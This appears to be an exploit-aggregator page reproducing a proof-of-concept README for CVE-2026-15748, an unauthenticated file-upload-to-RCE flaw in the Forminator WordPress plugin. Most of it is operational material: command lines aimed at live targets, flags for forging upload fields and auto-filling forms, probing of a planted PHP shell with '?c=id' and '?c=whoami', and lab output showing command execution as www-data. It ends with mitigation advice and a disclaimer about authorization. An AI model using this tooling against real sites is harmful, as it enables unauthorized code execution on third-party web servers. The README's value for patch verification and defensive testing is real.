Sploitus

Exploit for CVE-2026-15748

githubexploit Β· 2026-08-19

Exploit Code

README104 lines
## https://sploitus.com/exploit?id=453AD753-4763-5E9A-B884-4ADD4F879F42
# CVE-2026-15748 β€” Forminator Forms Unauthenticated Arbitrary File Upload β†’ RCE

**CVSS 9.8 (Critical)** Β· Affected: Forminator ``.
- **Custom root:** if admin set `forminator_custom_upload_root` (e.g. `cveuploads`), files land at
  `wp-content/uploads/cveuploads/{form_id}_{hash}/uploads/`.
- The `` is `wp_hash($form_id)` β€” derived from the site's AUTH salts, so it is **not predictable
  externally**. `poc.py` prints the path pattern; to complete it you must recover the hash (dir listing,
  an existing uploaded file's URL/log, an entry in the admin, etc.) via `--form-hash`.
- Uploaded filename = `wp_generate_password(12,false,false) . '-' . ` β†’ e.g.
  `cX3fRjMDDu03-shell.php` (12 random alnum chars + `-` + original name).

## Usage β€” `poc.py`

Live-first by design; local-lab helpers (file-FS scan, `.htaccess` removal) are gated to
`http://wordpresslab.test` / `http://localhost` only.

```bash
# A) Simplest (auto-discover): fetch page, parse nonce/form_id/fields, auto-fill, upload
python3 poc.py --target https://site.tld/                       # url-only -> fetches index
python3 poc.py --target https://site.tld/kontak                # path given -> fetches that page
python3 poc.py --target https://site.tld/ --page-id 42         # append ?page_id=42

# B) Manual nonce/form-id (skip discovery, still fetches page for --auto harvest)
python3 poc.py --target https://site.tld/ --form-id 4840 --nonce 69c8f06303

# C) Verify a candidate shell URL on a live target
python3 poc.py --target https://site.tld/ --form-id 4840 --nonce 69c8f06303 \
    --verify-url "https://site.tld/wp-content/uploads/forminator/4840_/uploads/-shell.php"

# D) local lab: full RCE (scans container FS, removes .htaccess, executes)
python3 poc.py --target http://wordpresslab.test --page-id 32 --find-shell
```

### Flags

| Flag | Meaning |
|------|---------|
| `--target` | base URL (or full page URL when no `--page-id`/manual) |
| `--page-id` | post id; if empty, the target URL itself is fetched for nonce/form_id |
| `--form-id`, `--nonce` | bypass discovery; still fetches page for `--auto` harvest |
| `--upload-field` | genuine upload field name (default `upload-1`) |
| `--forge-name` | forged `$_FILES` carrier (default = genuine name, colliding mode; use a distinct name for a clean `success=True`) |
| `--select` | select field to use (default `select-1`) |
| `--extra name=value` | force a field value (repeatable; `--extra 'checkbox-1[]=a+b'` for multiple) |
| `--auto` / `--no-auto` | harvest real form fields from HTML and auto-fill plausible values by type (default on) |
| `--upload-root` | relative upload root (default `wp-content/uploads/forminator`; set e.g. `wp-content/uploads/cveuploads` for custom root) |
| `--form-hash` | the `` part of the upload dir β†’ completes/prints a concrete URL |
| `--verify-url` | live: probe a candidate shell URL with `?c=id`/`?c=whoami` |
| `--find-shell` | **local only** (wordpresslab.test/localhost): find newest `*-shell.php`, remove `.htaccess`, execute |
| `--no-htaccess` | print the local-lab `.htaccess`-removal note |

### `--auto` value mapping (harvested from form HTML)

| Field type | Generated value |
|---|---|
| `email` / name has `email` | `auto@mailinator.com` |
| `tel` / name has `phone` | 10 random digits |
| `url` / name has `url` | `https://example.com/` |
| `number` | random 1–9999 |
| `date` | `2026-08-19` |
| checkbox/radio group `name[]` | first option value (all same-name inputs scanned) |
| single checkbox/radio | `value` attr, fallback `checked` |
| `` (non-carrier) | first non-empty option |
| `` | random text |
| plain text | random 10 chars |

Skipped: internal fields (`action`/`form_id`/nonce/...), `type="file"` (`upload-*`), `select-*`
(exploit carrier), `calculation-*` (computed), and foreign-plugin fields (`wpforms[...]`).

## Lab reproduction (wordpresslab.test, WP 6.9.4 + Forminator 1.56.1)

Setup:
- Form with a genuine Upload field + a Select field (built via `build_form.php`,
  `Forminator_Form_Model` API).
- Custom upload storage root enabled (`forminator_custom_upload`=1, `forminator_custom_upload_root`=cveuploads)
  so we can demonstrate RCE. `cveuploads/` is a **lab artifact**, not a Forminator default.
- **Design note:** for a clean `success=True`, the forged `name` should differ from the genuine upload
  field's `element_id`. A colliding name still uploads the file but the genuine field also runs its own
  default-mime check β†’ the response reports an error while the shell is already on disk.

Raw evidence (lab run):
```
# default path pattern (hash is site-secret):
wp-content/uploads/forminator/_/uploads/-shell.php

[+] shell at: http://wordpresslab.test/wp-content/uploads/cveuploads/31_8e64.../uploads/cX3fRjMDDu03-shell.php
?c=id     -> CVE-2026-15748-RCE uid=33(www-data) gid=33(www-data) groups=33(www-data)
?c=whoami -> CVE-2026-15748-RCE www-data

# .htaccess present (protected): request returns raw PHP source (not executed)
```

## Files

- `poc.py` β€” live-first PoC (auto-discover, auto-fill, verify-url, local RCE helper)
- `build_form.php` β€” programmatic lab form builder (upload + select) via model API
- `README.md` β€” this doc

## Mitigation

- Update to Forminator >= 1.56.2 (blocks the mime blocklist bypass + trusted field-config path).
- Ensure any custom upload storage root is covered by the Forminator `.htaccess`/index protections.
- Only run PoC against targets you are authorized to test.